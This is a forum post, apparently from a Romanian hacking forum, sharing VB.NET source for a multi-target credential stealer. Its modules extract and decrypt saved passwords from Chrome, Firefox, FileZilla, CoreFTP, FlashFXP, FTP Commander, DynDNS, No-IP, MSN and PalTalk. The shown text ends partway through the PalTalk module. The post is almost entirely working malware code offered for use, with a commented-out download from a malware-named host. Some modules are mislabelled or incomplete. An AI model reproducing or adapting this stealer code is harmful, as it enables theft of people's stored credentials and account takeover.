Jump to content
sandabot

[VB.NET] 14 Surse de stealer .

Recommended Posts

1.Chrome

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports stub.SQLiteWrapper

Public Class Chromer
Public Shared cPass As String
Public Shared Function GetChrome()
'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL")
Try
Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
If File.Exists(datapath) Then
Dim SQLconnect As New SqlClient.SqlConnection()
Dim SQLcommand As SqlClient.SqlCommand
SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
SQLconnect.Open()
SQLcommand = SQLconnect.CreateCommand
SQLcommand.CommandText = "SELECT * FROM logins"
Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
Dim host, user, pass As String
While SQLreader.Read()
host = SQLreader("origin_url")
user = SQLreader("username_value")
pass = Decrypt(SQLreader("password_value"))
If (user <> "") And (pass <> "") Then
Dim pss As New ListViewItem
pss.Text = host
cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
& vbNewLine & " ")
End If
End While
SQLcommand.Dispose()
SQLconnect.Close()
End If
Catch e As Exception
MsgBox(e.ToString)
End Try
End Function
<DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
End Function
<Flags()> Enum CryptProtectPromptFlags
CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
End Enum
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
Public cbSize As Integer
Public dwPromptFlags As CryptProtectPromptFlags
Public hwndApp As IntPtr
Public szPrompt As String
End Structure
<StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
Public cbData As Integer
Public pbData As IntPtr
End Structure
Shared Function Decrypt(ByVal Datas() As Byte) As String
Dim inj, Ors As New DATA_BLOB
Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
inj.pbData = Ghandle.AddrOfPinnedObject()
inj.cbData = Datas.Length
Ghandle.Free()
CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
Dim Returned() As Byte = New Byte(Ors.cbData) {}
Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
Dim TheString As String = Encoding.Default.GetString(Returned)
Return TheString.Substring(0, TheString.Length - 1)
End Function
End Class

2.CoreFTP

Module CoreFTP
Function CoreFTP() As String
Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")

If Not sUser = "" Then
Try
CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============CoreFTP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============CoreFTP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
End Module

3.DynDNS

Module Dyndns
Public Function GoogleDns() As String
On Error Resume Next
GoogleDns = Nothing

Dim sAppData As String
Dim sPath As String
Dim sLine As String
Dim sUser As String = Nothing
Dim sPassword As String = Nothing
Dim i As Integer
Dim sChars As String = Nothing
Dim lPtr As Integer

sAppData = Environ("ALLUSERSPROFILE")

If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

sPath = sAppData & "DynDNS\Updater\config.dyndns"

'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
If Dir(sPath) <> "" Then
FileOpen(1, sPath, OpenMode.Binary)
Do While Not EOF(1)
sLine = vbNullString
sLine = LineInput(1)
If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
If Left(sLine, 9) = "Password=" Then
sPassword = Mid(sLine, 10)
'We have what we want, now exit do
Exit Do
End If
Loop
FileClose(1)

For i = 1 To Len(sPassword) Step 2
sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
Next i

For i = 1 To Len(sChars)
Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
lPtr = ((lPtr + 1) Mod 8)
Next i
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============DYNDNS==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sChars)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
If sUser = "" Or sChars = "" Then
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============DYNDNS==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
End If
End If
End Function
End Module

4.FireFox 1

Imports System
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Data
Imports FireFox.SQLiteWrapper
Imports System.Text
Module FFDecryptor

Public Class SHITEMID
Public Shared cb As Long
Public Shared abID As Byte()
End Class
<StructLayout(LayoutKind.Sequential)> _
Public Structure TSECItem
Public SECItemType As Integer
Public SECItemData As Integer
Public SECItemLen As Integer
End Structure

<DllImport("kernel32.dll")> _
Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
End Function
Private NSS3 As IntPtr
<DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
Public Function NSS_Init(ByVal configdir As String) As Long
Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
LoadLibrary(MozillaPath & "mozcrt19.dll")
LoadLibrary(MozillaPath & "nspr4.dll")
LoadLibrary(MozillaPath & "plc4.dll")
LoadLibrary(MozillaPath & "plds4.dll")
LoadLibrary(MozillaPath & "ssutil3.dll")
LoadLibrary(MozillaPath & "sqlite3.dll")
LoadLibrary(MozillaPath & "nssutil3.dll")
LoadLibrary(MozillaPath & "softokn3.dll")
NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
Return dll(configdir)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate2() As Long
Public Function PK11_GetInternalKeySlot() As Long
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
Return dll()
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
Return dll(slot, loadCerts, wincx)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
Return dll(arenaOpt, outItemOpt, inStr, inLen)
End Function
<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
Return dll(data, result, cx)
End Function
Public signon As String
End Module

5.FireFox 2

Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Data
Imports System.Collections

Namespace SQLiteWrapper
Public Class SQLiteBase
<DllImport("kernel32")> _
Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
End Function

<DllImport("kernel32")> _
Private Shared Function GetProcessHeap() As IntPtr
End Function

<DllImport("kernel32")> _
Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
End Function
<DllImport("sqlite3")> _
Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
End Function

<DllImport("sqlite3")> _
Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
End Function

' SQLite constants
Private Const SQL_OK As Integer = 0
Private Const SQL_ROW As Integer = 100
Private Const SQL_DONE As Integer = 101
Public Enum SQLiteDataTypes
INT = 1
FLOAT
TEXT
BLOB
NULL
End Enum
Private database As IntPtr
Public Sub New()
database = IntPtr.Zero
End Sub
Public Sub New(ByVal baseName As [String])
OpenDatabase(baseName)
End Sub
Public Sub OpenDatabase(ByVal baseName As [String])
If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
database = IntPtr.Zero
Throw New Exception("Error with opening database " & baseName & "!")
End If
End Sub
Public Sub CloseDatabase()
If database <> IntPtr.Zero Then
sqlite3_close(database)
End If
End Sub
Public Function GetTables() As ArrayList
Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
Dim table As DataTable = ExecuteQuery(query)
Dim list As New ArrayList()
For Each row As DataRow In table.Rows
list.Add(row.ItemArray(0).ToString())
Next
Return list
End Function
Public Sub ExecuteNonQuery(ByVal query As [String])
Dim [error] As IntPtr
sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
If [error] <> IntPtr.Zero Then
Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error])))
End If
End Sub
Public Function ExecuteQuery(ByVal query As [String]) As DataTable
Dim statement As IntPtr
Dim excessData As IntPtr
sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
Dim table As New DataTable()
Dim result As Integer = ReadFirstRow(statement, table)
While result = SQL_ROW
result = ReadNextRow(statement, table)
End While
sqlite3_finalize(statement)
Return table
End Function
Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
table = New DataTable("resultTable")
Dim resultType As Integer = sqlite3_step(statement)
If resultType = SQL_ROW Then
Dim columnCount As Integer = sqlite3_column_count(statement)
Dim columnName As [String] = ""
Dim columnType As Integer = 0
Dim columnValues As Object() = New Object(columnCount - 1) {}
For i As Integer = 0 To columnCount - 1
columnName = PointerToString(sqlite3_column_name(statement, i))
columnType = sqlite3_column_type(statement, i)
Select Case columnType
Case CInt(SQLiteDataTypes.INT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
columnValues(i) = sqlite3_column_int(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.FLOAT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.Single"))
columnValues(i) = sqlite3_column_double(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.TEXT)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
Exit Select
End If
Case CInt(SQLiteDataTypes.BLOB)
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
Exit Select
End If
Case Else
If True Then
table.Columns.Add(columnName, Type.[GetType]("System.String"))
columnValues(i) = ""
Exit Select
End If
End Select
Next
table.Rows.Add(columnValues)
End If
Return sqlite3_step(statement)
End Function
Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
Dim columnCount As Integer = sqlite3_column_count(statement)

Dim columnType As Integer = 0
Dim columnValues As Object() = New Object(columnCount - 1) {}

For i As Integer = 0 To columnCount - 1
columnType = sqlite3_column_type(statement, i)

Select Case columnType
Case CInt(SQLiteDataTypes.INT)
If True Then
columnValues(i) = sqlite3_column_int(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.FLOAT)
If True Then
columnValues(i) = sqlite3_column_double(statement, i)
Exit Select
End If
Case CInt(SQLiteDataTypes.TEXT)
If True Then
columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
Exit Select
End If
Case CInt(SQLiteDataTypes.BLOB)
If True Then
columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
Exit Select
End If
Case Else
If True Then
columnValues(i) = ""
Exit Select
End If
End Select
Next
table.Rows.Add(columnValues)
Return sqlite3_step(statement)
End Function
Private Function StringToPointer(ByVal str As [String]) As IntPtr
If str Is Nothing Then
Return IntPtr.Zero
Else
Dim encoding__1 As Encoding = Encoding.UTF8
Dim bytes As [Byte]() = encoding__1.GetBytes(str)
Dim length As UInteger = bytes.Length + 1
Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
Marshal.Copy(bytes, 0, pointer, bytes.Length)
Marshal.WriteByte(pointer, bytes.Length, 0)
Return pointer
End If
End Function
Private Function PointerToString(ByVal ptr As IntPtr) As [String]
If ptr = IntPtr.Zero Then
Return Nothing
End If

Dim encoding__1 As Encoding = Encoding.UTF8

Dim length As Integer = GetPointerLenght(ptr)
Dim bytes As [Byte]() = New [Byte](length - 1) {}
Marshal.Copy(ptr, bytes, 0, length)
Return encoding__1.GetString(bytes, 0, length)
End Function
Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
If ptr = IntPtr.Zero Then
Return 0
End If
Return lstrlen(ptr)
End Function
End Class
End Namespace

6. FileZilla

Module Filezilla
Function ShoitZilla() As String
On Error Resume Next
Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
Dim FileBuffer As String = vbNull
Dim NL As String = vbNewLine
FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
Dim str As String
Dim Output As String = Nothing
Dim TempData() As String
TempData = FileBuffer.Split(vbCrLf)
FileBuffer = Nothing
For Each str In TempData
If str.Contains("</Host>") Then
str.Replace("<Host>", "").Replace("</Host>", "")
Output = Output & "Host : " & str & NL
End If
If str.Contains("</User>") Then
str.Replace("<User>", "").Replace("</User>", "")
Output = Output & "Username : " & str & NL
End If
If str.Contains("</Pass>") Then
str.Replace("<Pass>", "").Replace("</Pass>", "")
Output = Output & "Password : " & str & NL & NL
End If
Next
Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine
ShoitZilla = Output
Form1.ztext.AppendText(Output)
End Function
End Module

7.FlashFXP

Module FlashFXP
Function FlashFXP() As String
Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
Dim sFile As String = ReadFile(sPath)
Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
Dim sPort As String = Cut(sFile, "port=", vbNewLine)
Dim sUser As String = Cut(sFile, "user=", vbNewLine)
Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
Dim sEntry As String = Cut(sFile, "created=", vbNewLine)

If Not sUser = "" Then
Try
FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============FlashFXP==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
Form1.ztext.AppendText("============FlashFXP==============")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
Form1.ztext.AppendText(vbNewLine)
Form1.ztext.AppendText("=================================")
End Try
Else
End If
End Function
End Module

8.FtpCommander

Module FTPCommander
Function FtpCommander() As String
Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
Dim sFile As String = ReadLine(sPath, -1)
Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
Dim sUser As String = Cut(sFile, ";User=", ";*********=")
Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
Dim sEntry As String = Cut(sFile, "Name=", ";Server=")

If Not sUser = "" Then
Try
FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============FTP Commander==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Entry: " & sEntry)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Host: " & sHost)
Form1.ztext.AppendText(": " & sPort)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("User: " & sUser)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & sPwd)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch ex As Exception
End Try
Else
End If
End Function
End Module

9.IMVU

Module Imvu
Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
On Error GoTo Error_Renamed ' // If Error dont Display Error
Dim X As Object ' //
X = CreateObject("WScript.shell") ' // Create REG Object
ReadKey = X.regread(hKey) ' // Read The Key
Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
End Function
Public Function Hex2Ascii(ByVal Text As String) As String
Dim Value As Object
Dim num As Object
Dim i As Object ' // Simple Function for Pass Hex to Ascii
Value = Nothing
For i = 1 To Len(Text) ' Len of Encripted Text
num = Mid(Text, i, 2) ' // Go Chr by Chr
Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
i = i + 1 ' // +1
Next i ' Next Chr

Hex2Ascii = Value ' //
End Function

10. MSN

Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.IO
Module MSN
<DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean
End Function
<DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _
Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _
ByVal pDataOut As DATA_BLOB) As Boolean
End Function
Friend Structure CREDENTIAL
Public Flags As Integer
Public Type As Integer
<MarshalAs(UnmanagedType.LPWStr)> _
Public TargetName As String
<MarshalAs(UnmanagedType.LPWStr)> _
Public Comment As String
Public LastWritten As Long
Public CredentialBlobSize As Integer
Public CredentialBlob As Integer
Public Persist As Integer
Public AttributeCount As Integer
Public Attributes As IntPtr
<MarshalAs(UnmanagedType.LPWStr)> _
Public TargetAlias As String
<MarshalAs(UnmanagedType.LPWStr)> _
Public UserName As String
End Structure
Private Cred As CREDENTIAL
Friend Structure DATA_BLOB
Public cbData As Integer
Public pbData As Integer
End Structure
Friend Structure UserDetails
Public uName As String
Public uPass As String
End Structure
Public count As UInteger
Public pCredentials As IntPtr = IntPtr.Zero
Public dataIn As DATA_BLOB
Public dataOut As DATA_BLOB
Public uDetail As UserDetails
Public Function getPwd() As String()
Password()
Dim pass As String() = {uDetail.uName, uDetail.uPass}
Return pass

End Function
Public Sub Password()
Try
Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4)
Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL)
dataIn.pbData = Cred.CredentialBlob
dataIn.cbData = Cred.CredentialBlobSize
CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _
dataOut)
dataOut.pbData = dataIn.pbData

uDetail.uName = Cred.UserName
uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData)))
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============MSN==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & uDetail.uName)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & uDetail.uPass)
Form1.ztext.AppendText(nl)
Exit Sub
Catch x As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============MSN==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("MSN Could not be recovered!")
Form1.ztext.AppendText(nl)
Exit Sub
End Try
End Sub
End Module

11. NO-IP

Module No_IP
Public Function base64Decode(ByVal data As String) As String
Try
Dim encoder As New System.Text.UTF8Encoding()
Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
Dim decoded_char As Char() = New Char(charCount - 1) {}
utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
Dim result As String = New [String](decoded_char)
Return result
Catch e As Exception
End Try
End Function
Function IpRecord() As String
Try
IpRecord = Nothing
Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============IMVU==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & Username)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & base64Decode(Password))
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Catch
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============IMVU==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("IMVU Not Installed!")
Form1.ztext.AppendText(nl)
End Try
End Function
End Module

12.PalTalk

Module PalTalk
Public Function GetHDSerial() As String
Dim disk As New System.Management.ManagementObject( _
"Win32_LogicalDisk.DeviceID=""C:""")
Dim diskPropertyA As System.Management.PropertyData = _
disk.Properties("VolumeSerialNumber")
Return diskPropertyA.Value.ToString()
End Function
Public Function paltalkscene() As String
Try
Dim ser() As Char = GetHDSerial().ToCharArray
Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim out As String = ""
reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
Dim users As String() = reg.GetSubKeyNames()
reg.Close()
For Each s As String In users
Dim t, o, i, x As Integer
Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
Dim chr1 As Char() = pass.ToCharArray
Dim passarr(pass.Length / 4) As String
While t <= UBound(chr1) - 4
If t < UBound(chr1) - 4 Then
passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
End If
t += 4
o += 1
End While
Dim key As String = ""
For Each c As Char In s
key += c
If i <= UBound(ser) Then
key += ser(i)
End If
i = i + 1
Next
key = key & key & key
Dim chr_arr As Char() = key.ToCharArray
Dim blainpass As String = ""
blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
For x = 1 To UBound(passarr)
Dim tempchr As Char
If passarr(x) Is Nothing Then
Else
tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
blainpass += tempchr
End If
Next x

Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============PalTalk==============")
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Username: " & s)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("Password: " & blainpass)
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("=============================")
Form1.ztext.AppendText(nl)
Next
Return out
Catch ex As Exception
Dim nl As String = vbNewLine
Form1.ztext.AppendText(nl)
Form1.ztext.AppendText("============PalTalk==============")
